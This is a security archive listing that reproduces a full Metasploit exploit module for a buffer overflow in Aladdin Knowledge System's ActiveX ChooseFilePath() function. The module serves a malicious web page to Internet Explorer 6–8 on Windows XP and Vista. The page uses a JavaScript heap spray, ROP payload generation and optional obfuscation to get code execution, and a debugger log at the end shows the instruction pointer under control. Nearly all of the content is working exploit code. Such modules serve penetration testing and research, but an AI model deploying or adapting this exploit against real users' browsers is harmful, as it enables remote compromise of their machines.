what you don't know can hurt you

Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow

Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow
Posted Nov 1, 2012
Authored by shinnai, sinn3r, b33f, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Aladdin Knowledge System's ActiveX component. By supplying a long string of data to the ChooseFilePath() function, a buffer overflow occurs, which may result in remote code execution under the context of the user.

tags | exploit, remote, overflow, code execution, activex
advisories | OSVDB-86723
MD5 | 40789844caa3e2d6a9f865696f2155f6

Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::RopDb

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
})


def initialize(info={})
super(update_info(info,
'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Aladdin Knowledge System's
ActiveX component. By supplying a long string of data to the ChooseFilePath()
function, a buffer overflow occurs, which may result in remote code execution
under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'shinnai', #Vulnerability Discovery
'b33f', #Original exploit
'sinn3r', #Metasploit
'juan vazquez' #Metasploit, IE8 target
],
'References' =>
[
[ 'OSVDB', '86723' ],
[ 'EDB', '22258' ],
[ 'EDB', '22301' ]
],
'Payload' =>
{
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 7 on Windows XP SP3',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 8 on Windows XP SP3',
{
'Rop' => true,
'Offset' => '0x5f6',
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
}
],
[ 'IE 7 on Windows Vista',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 1 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

# Land the payload at 0x0c0c0c0c

js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def load_exploit_html(my_target, cli)

if my_target['Rop']
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
else
p = payload.encoded
end

spray = ie_heap_spray(my_target, p)

html = %Q|
<html>
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
<script>
#{spray}

junk='';
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
</script>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end

=begin
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
OLEAUT32!SysReAllocStringLen+0x31:
7712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0c0c0c0c ?? ???
0:008> db 020bf798
020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end

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